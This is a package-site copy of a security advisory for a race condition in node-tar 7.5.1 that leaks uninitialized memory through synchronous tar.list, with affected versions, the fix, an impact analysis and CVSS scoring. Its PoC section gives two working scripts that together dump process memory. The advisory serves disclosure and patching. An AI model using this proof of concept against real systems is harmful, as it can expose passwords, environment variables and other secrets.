---
title: "GHSA-29xp-372q-xqph: node-tar has a race condition leading to uninitialized memory exposure"
description: "Moderate severity. node-tar has a race condition leading to uninitialized memory exposure. Affects tar; fixed in 7.5.2."
url: https://inlinr.com/advisories/GHSA-29xp-372q-xqph
lang: en
---

[Packages](https://inlinr.com/packages) / [tar](https://inlinr.com/packages/tar) / [Security](https://inlinr.com/packages/tar/security)

Moderate Vulnerability GHSA-29xp-372q-xqph CVE-2025-64118 Published 30 Oct 2025

# node-tar has a race condition leading to uninitialized memory exposure

Your version 

Affected releases · [tar](https://inlinr.com/packages/tar)

- 7.x 7.5.1 Fixed in 7.5.2

On 7.x, the newest line:

```
npm install tar@7.5.2
```

Every release on a timeline

1. Not affected

0.0.1 – 7.5.0  
132 releases
2. Affected

7.5.1  
1 release
3. Fixed

7.5.2 – 7.5.22  
21 releases, latest

154 stable releases of tar, oldest to newest.

## What happens

Summary

Using `.t` (aka `.list`) with `{ sync: true }` to read tar entry contents returns uninitialized memory contents if tar file was changed on disk to a smaller size while being read.

Details

See:

- [#445](https://github.com/isaacs/node-tar/issues/445 "https://github.com/isaacs/node-tar/issues/445")
- [#446](https://github.com/isaacs/node-tar/pull/446 "https://github.com/isaacs/node-tar/pull/446")
- Regression happened in [5330eb0](https://github.com/isaacs/node-tar/commit/5330eb04bc43014f216e5c271b40d5c00d45224d "https://github.com/isaacs/node-tar/commit/5330eb04bc43014f216e5c271b40d5c00d45224d")

PoC

A:

```
import * as tar from 'tar'
import fs from 'node:fs'

fs.writeFileSync('tar.test.tmp', Buffer.alloc(1*1024))

// from readme
const filesAdded = []
tar.c(
  {
    sync: true,
    file: 'tar.test.tmp.tar',
    onWriteEntry(entry) {
      // initially, it's uppercase and 0o644
      console.log('adding', entry.path, entry.stat.mode.toString(8))
      // make all the paths lowercase
      entry.path = entry.path.toLowerCase()
      // make the entry executable
      entry.stat.mode = 0o755
      // in the archive, it's lowercase and 0o755
      filesAdded.push([entry.path, entry.stat.mode.toString(8)])
    },
  },
  ['./tar.test.tmp'],
)

const a = fs.readFileSync('tar.test.tmp.tar')

for (let i = 0; ; i++){
  if (i % 10000 === 0) console.log(i)
  fs.writeFileSync('tar.test.tmp.tar', a)
  fs.truncateSync('tar.test.tmp.tar', 600)
}
```

B (vulnerable):

```
import * as tar from 'tar'
import * as fs from 'fs'

while (true) {
  fs.readFileSync(import.meta.filename)
  tar.t({
    sync: true,
    file: 'tar.test.tmp.tar',
    onReadEntry: e => e.on('data', b => {
      const a = b.filter(x => x)
      if (a.length > 0) console.log(a.toString())
    })
  })
}
```

Run A and B in parallel on Node.js 22 or >=25.1.0

Dumps `B` memory (wait for some time to observe text data)

Impact

Exposes process memory and could result in e.g. unintentionally (aka attacker-controlled) attempting to process sensitive data rather than tar entry contents. Uninitialized memory can contain unrelated file contents, environment variables, passwords, etc.

To execute, an attacker must reduce the file size to boundary between a tar header and body block, in the time between when the tar archive file size is read via `stat`, and the time when the tar archive parser reaches the entry that is truncated. If the file is truncated at a different boundary, then the uninitialized data will very likely not be a valid tar entry, causing the parser to treat the entry as a damaged archive (that is, throwing an error in `strict: true` mode, or by default, skipping the entry harmlessly).

This is conditional on using the `sync: true` option to the `tar.list`/`tar.t` method, and the `7.5.1` version specifically. Earlier versions were not affected.

This is also conditional to attacker being able to truncate (or induce a truncation/replacement) of a file on disk (e.g. in cache).

If the tar file is initially larger than the `opt.maxReadSize` (16kb by default), then uninitialized memory is not exposed to user code, and instead the program enters an infinite loop, causing a DoS rather than an information disclosure vulnerability.

By default, `tar.list` does _not_ process tar archive entry body content. So, this is further conditional on the user code doing something with the tar entry file contents in an `onReadEntry` method which would expose the file contents (for example, attempting to parse them in such a way that the uninitialized data could appear in an error message).

Other methods in this library (`tar.extract`, etc.) are not affected by this vulnerability.

## How it is exploited

Exploitable with local access, with a low-privilege account and a user to do something.

- **Confidentiality**: high
- **Integrity**: low
- **Availability**: low

CVSS:4.0/​AV:L/​AC:H/​AT:P/​PR:L/​UI:P/​VC:H/​VI:L/​VA:L/​SC:H/​SI:H/​SA:H

## References

- [Reference](https://github.com/isaacs/node-tar/security/advisories/GHSA-29xp-372q-xqph "https://github.com/isaacs/node-tar/security/advisories/GHSA-29xp-372q-xqph")  
github.com/isaacs/node-tar/security/advisories/…
- [NVD](https://nvd.nist.gov/vuln/detail/CVE-2025-64118 "https://nvd.nist.gov/vuln/detail/CVE-2025-64118")  
nvd.nist.gov/vuln/detail/CVE-2025-64118
- [Issue](https://github.com/isaacs/node-tar/issues/445 "https://github.com/isaacs/node-tar/issues/445")  
#445
- [Pull request](https://github.com/isaacs/node-tar/pull/446 "https://github.com/isaacs/node-tar/pull/446")  
#446
- [Fix commit](https://github.com/isaacs/node-tar/commit/5330eb04bc43014f216e5c271b40d5c00d45224d "https://github.com/isaacs/node-tar/commit/5330eb04bc43014f216e5c271b40d5c00d45224d")  
5330eb0
- [Fix commit](https://github.com/isaacs/node-tar/commit/5e1a8e638600d3c3a2969b4de6a6ec44fa8d74c9 "https://github.com/isaacs/node-tar/commit/5e1a8e638600d3c3a2969b4de6a6ec44fa8d74c9")  
5e1a8e6
- [Package](https://github.com/isaacs/node-tar "https://github.com/isaacs/node-tar")  
github.com/isaacs/node-tar